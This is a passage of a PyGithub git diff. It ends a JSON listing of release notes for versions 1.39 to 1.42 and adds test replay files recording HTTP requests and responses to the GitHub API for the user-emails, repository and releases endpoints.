(49db6f8)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469447/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469447/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.41","id":12469447,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ3","tag_name":"v1.41","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T03:58:17Z","published_at":"2018-08-19T04:29:14Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.41","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.41","body":"Version 1.41 (August 19, 2018)\r\n-----------------------------------\r\n\r\nv1.41 is not available on pypi\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/12469444/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/12469444/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.42","id":12469444,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEyNDY5NDQ0","tag_name":"v1.42","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-08-19T04:27:09Z","published_at":"2018-08-19T04:28:25Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.42","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.42","body":"Version 1.42 (August 19, 2018)\r\n-----------------------------------\r\n\r\n* Fix travis upload issue\r\n\r\n**BUGFIX**\r\n\r\n* ``Repository.get_archive_link`` will now NOT follow HTTP redirect and return the url instead (#858) (43d325a5)\r\n* Fixed ``Gistfile.content`` (#486) (e1df09f7)\r\n* Restored NamedUser.contributions attribute (#865) (b91dee8d)\r\n\r\nNew features\r\n\r\n* Add support for repository topics (#832) (c6802b51)\r\n* Branch Protection API overhaul (#790) (171cc567)\r\n\r\n + (**breaking**) Removed Repository.protect_branch\r\n + Add `BranchProtection `__\r\n + Add `RequiredPullRequestReviews `__\r\n + Add `RequiredStatusChecks `__\r\n + Add ``Branch.get_protection``, ``Branch.get_required_pull_request_reviews``, ``Branch.get_required_status_checks``, etc\r\n\r\nImprovements\r\n\r\n* Add missing arguments to ``Repository.edit`` (#844) (29d23151)\r\n* Add missing properties to Repository (#842) (2b352fb3)\r\n* Adding archival support for ``Repository.edit`` (#843) (1a90f5db)\r\n* Add ``tag_name`` and ``target_commitish`` arguments to ``GitRelease.update_release`` (#834) (790f7dae)\r\n* Allow editing of Team descriptions (#839) (c0021747)\r\n* Add description to Organizations (#838) (1d918809)\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643649/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643649/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a4","id":11643649,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQ5","tag_name":"v1.40a4","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-05-21T02:42:33Z","published_at":"2018-06-26T01:09:18Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a4","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a4","body":"* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\r\n* Remove NamedUser.contributions (#774) (a519e467)\r\n* Branch protection methods no longer require loki (#775) (b1e9ae68)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643642/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40","id":11643642,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQy","tag_name":"v1.40","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-06-26T01:05:38Z","published_at":"2018-06-26T01:08:43Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40","body":"* Major enhancement: use requests for HTTP instead of httplib (#664) (9aed19dd)\r\n* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Test Framework improvement (#795) (faa8f205)\r\n* Handle HTTP 202 HEAD & GET with a retry (#791) (3aead158)\r\n* Fix github API requests after asset upload (#771) (8bdac23c)\r\n* Add remove_membership() method to Teams class (#807) (817f2230)\r\n* Add check-in to projects using PyGithub (#814) (05f49a59)\r\n* Include target_commitish in GitRelease (#788) (ba5bf2d7)\r\n* Fix asset upload timeout, increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\t\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\t\r\n* Remove NamedUser.contributions (#774) (a519e467)\t\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10728698/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a3","id":10728698,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNzI4Njk4","tag_name":"v1.40a3","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-26T06:52:47Z","published_at":"2018-04-26T06:55:12Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a3","body":"* Add ability to skip SSL cert verification for Github Enterprise (#758) (85a9124b)\r\n* Correct Repository.get_git_tree recursive use (#767) (bd0cf309)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10667677/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a2","id":10667677,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNjY3Njc3","tag_name":"v1.40a2","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-23T06:31:58Z","published_at":"2018-04-23T06:32:39Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a2","body":"* Re-work PullRequest reviewer request (#765) (e2e29918)\r\n* Add support for team privacy (#763) (1f23c06a)\r\n* Add support for organization outside collaborators (#533) (c4446996)\r\n* Make use of issue_url in PullRequest (#755) (0dba048f)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10576396/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a1","id":10576396,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNTc2Mzk2","tag_name":"v1.40a1","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-17T04:15:02Z","published_at":"2018-04-17T04:16:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a1","body":"* Use requests instead of httplib (#664) (9aed19dd)\r\n* PullRequest labels should use Issues URL (#754) (678b6b20)\r\n* Support labels for PullRequests (#752) (a308dc92)\r\n* Add get_organizations() (#748) (1e0150b5)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10471784/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.39","id":10471784,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNDcxNzg0","tag_name":"v1.39","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-04-10T02:21:49Z","published_at":"2018-04-10T09:30:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.39","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.39","body":"* Add documentation to github.Repository.Repository.create_git_release() (#747) (a769c2ff)\r\n* Add add_to_members() and remove_from_membership() (#741) (4da483d1)\r\n* Documentation: clarify semantics of get_comments (#743) (fec3c943)\r\n* Add download_url to ContentFile, closes #575 (ca6fbc45)\r\n* Add PullRequestComment.in_reply_to_id (#718) (eaa6a508)\r\n* Add team privacy parameter to create team (#702) (5cb5ab71)\r\n* Implement License API (#734) (b54ccc78)\r\n* Fix delete method for RepositoryKey (911bf615)\r\n* Remove edit for UserKey (722f2534)\r\n* Labels API: support description (#738) (42e75938)\r\n* Added Issue.as_pull_request() and PullReqest.as_issue() (#630) (6bf2acc7)\r\n* Documentation: sort the Github Objects (#735) (1497e826)\r\n* Add support for getting PR single review's comments. (#670) (612c3500)\r\n* Update the RepositoryKey class (#530) (5e8c6832)\r\n* Added since to PR review comments get (#577) (d8508285)\r\n* Remove some duplicate attributes introduced in #522 (566b28d3)\r\n* Added tarball_url, zipball_url, prerelease and draft property (#522) (c76e67b7)\r\n* Source Import API (#673) (864c663a)"}] diff --git a/tests/ReplayData/RequesterThrottled.testShouldDeferWrites.txt b/tests/ReplayData/RequesterThrottled.testShouldDeferWrites.txt new file mode 100644 index 0000000000..de0ea39599 --- /dev/null +++ b/tests/ReplayData/RequesterThrottled.testShouldDeferWrites.txt @@ -0,0 +1,54 @@ +https +GET +api.github.com +None +/user/emails +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4934'), ('content-length', '64'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ea6dacf29569317ccf460b4bb07075e5"'), ('date', 'Sun, 20 May 2012 12:41:39 GMT'), ('content-type', 'application/json; charset=utf-8')] +[{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] + +https +POST +api.github.com +None +/user/emails +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"emails": ["1@foobar.com", "2@foobar.com"]} +201 +[('status', '201 Created'), ('x-ratelimit-remaining', '4933'), ('content-length', '94'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8efae10ea5e433b0d68201389058e4ee"'), ('date', 'Sun, 20 May 2012 12:41:40 GMT'), ('content-type', 'application/json; charset=utf-8')] +[{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "1@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "2@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] + +https +GET +api.github.com +None +/user/emails +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('content-length', '94'), ('x-ratelimit-remaining', '4932'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8efae10ea5e433b0d68201389058e4ee"'), ('date', 'Sun, 20 May 2012 12:41:41 GMT'), ('content-type', 'application/json; charset=utf-8')] +[{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "1@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "2@foobar.com", "primary": false, "verified": false, "visibility": null}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] + +https +DELETE +api.github.com +None +/user/emails +{'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +{"emails": ["1@foobar.com", "2@foobar.com"]} +204 +[('status', '204 No Content'), ('x-ratelimit-remaining', '4931'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 20 May 2012 12:41:41 GMT')] + + +https +GET +api.github.com +None +/user/emails +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '64'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ea6dacf29569317ccf460b4bb07075e5"'), ('date', 'Sun, 20 May 2012 12:41:42 GMT'), ('content-type', 'application/json; charset=utf-8')] +[{"email": "vincent@vincent-jacques.net", "primary": true, "verified": true, "visibility": "private"}, {"email": "github.com@vincent-jacques.net", "primary": false, "verified": true, "visibility": null}] diff --git a/tests/ReplayData/RequesterUnThrottled.testShouldNotDeferRequests.txt b/tests/ReplayData/RequesterUnThrottled.testShouldNotDeferRequests.txt new file mode 100644 index 0000000000..4bbe2aca92 --- /dev/null +++ b/tests/ReplayData/RequesterUnThrottled.testShouldNotDeferRequests.txt @@ -0,0 +1,43 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"590cc0c8c908cfbaa795edefd9fa4b424dce1cf509b00ec3b791186ca4ca01b0"'), ('Last-Modified', 'Mon, 10 Jan 2022 15:54:04 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4640'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '360'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DA74:10A67:499835A:4B3ECF3:61DC5706')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2022-01-10T15:54:04Z","pushed_at":"2022-01-10T12:57:13Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13607,"stargazers_count":5001,"watchers_count":5001,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1428,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":165,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1428,"open_issues":165,"watchers":5001,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":true},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1428,"subscribers_count":108} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/releases?per_page=10 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 10 Jan 2022 15:55:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ee105f8b9e3d3e3feb1b7cd35ad11da16ab8358bed8ed27376bc94cf985e21c0"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4639'), ('X-RateLimit-Reset', '1641832874'), ('X-RateLimit-Used', '361'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, 